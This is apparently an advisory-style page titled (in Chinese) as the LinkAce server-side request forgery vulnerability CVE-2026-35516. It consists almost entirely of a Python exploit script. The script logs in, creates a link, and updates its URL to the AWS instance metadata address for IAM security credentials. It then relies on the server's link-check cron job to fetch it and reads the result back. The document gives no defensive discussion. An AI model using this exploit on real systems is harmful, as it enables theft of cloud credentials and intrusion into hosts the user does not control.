CVE-2026-35516 LinkAce 服务端请求伪造漏洞

import requests # Target configuration target_url = "http://localhost:8000" username = "attacker" password = "password" # 1. Login to get session session = requests.Session() login_payload = {"email": username, "password": password} login_resp = session.post(f"{target_url}/login", data=login_payload) if login_resp.status_code != 200: print("Login failed") exit(1) # 2. Create a new link with a public URL create_payload = {"url": "http://example.com", "title": "Test Link"} create_resp = session.post(f"{target_url}/api/links", json=create_payload) link_id = create_resp.json().get('id') print(f"Created link ID: {link_id}") # 3. Update the link to a private IP (SSRF payload) # Targeting AWS IMDSv1 ssrf_payload = {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} update_resp = session.patch(f"{target_url}/api/links/{link_id}", json=ssrf_payload) if update_resp.status_code == 200: print("Link updated to internal IP. Waiting for cron job...") else: print("Update failed") # 4. Check the link details to see the response (if cached or returned) # Note: Exploitation depends on the 'links:check' cron job running server-side check_resp = session.get(f"{target_url}/api/links/{link_id}") print(f"Link details: {check_resp.text}")